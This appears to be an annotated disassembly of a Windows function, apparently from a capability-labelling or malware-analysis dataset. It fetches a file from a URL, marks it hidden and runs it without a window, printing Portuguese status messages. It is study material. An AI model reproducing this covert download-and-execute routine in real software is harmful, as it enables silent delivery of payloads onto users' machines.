Function at 0x1400095c0
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Delete file
Download url
Receive data
Set file attributes

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x300
mov rax, qword [0x140134040]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
mov rdi, rcx
mov rbx, rdx
mov rcx, rdx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140009633
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140009633
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, [0x14011a430]
call fcn.140011e60
mov rcx, rax
mov rdx, rbx
call fcn.140011e60
mov rcx, rax
lea rdx, [0x14011a42c]
call fcn.140011e60
xor al, al
jmp 0x1400098d2
mov qword [rsp + 0x320], rsi
xor r9d, r9d
xor esi, esi
mov r8, rbx
mov rdx, rdi
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400098b6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Download_de
call fcn.140011e60
mov rcx, rax
mov rdx, rdi
call fcn.140011e60
mov rcx, rax
lea rdx, str._para
call fcn.140011e60
mov rcx, rax
mov rdx, rbx
call fcn.140011e60
mov rcx, rax
lea rdx, [0x140119ef0]
call fcn.140011e60
xor r9d, r9d
lea r8, [rsp + 0xe0]
mov edx, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
jne 0x1400096f1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Falha_ao_obter_o_caminho_completo_para
call fcn.140011e60
mov rcx, rax
mov rdx, rbx
call fcn.140011e60
mov rcx, rax
lea rdx, [0x14011a42c]
call fcn.140011e60
jmp 0x1400098c8
lea rcx, [rsp + 0xe0]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140009882
mov edx, 2
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000982b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Execu
call fcn.140011e60
mov rcx, rax
lea rdx, [rsp + 0xe0]
call fcn.140011e60
mov rcx, rax
lea rdx, str._iniciada_com_sucesso__n
call fcn.140011e60
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Execu
call fcn.140011e60
mov rcx, rax
lea rdx, [rsp + 0xe0]
call fcn.140011e60
mov rcx, rax
lea rdx, str._conclu
call fcn.140011e60
mov al, 1
jmp 0x1400098ca
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Falha_na_execu
call fcn.140011e60
mov rcx, rax
lea rdx, [rsp + 0xe0]
call fcn.140011e60
mov rcx, rax
lea rdx, [0x14011a558]
call fcn.140011e60
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14011a42c]
call fcn.140011e60
jmp 0x1400098c8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Falha_ao_encontrar_o_arquivo
call fcn.140011e60
mov rcx, rax
lea rdx, [rsp + 0xe0]
call fcn.140011e60
mov rcx, rax
lea rdx, [0x14011a42c]
call fcn.140011e60
jmp 0x1400098c8
mov r8d, eax
lea rcx, str.Falha_no_download_de__s._C
mov rdx, rdi
call fcn.140002520
xor al, al
mov rsi, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.1400bb6f0
mov rbx, qword [rsp + 0x328]
add rsp, 0x300
pop rdi
ret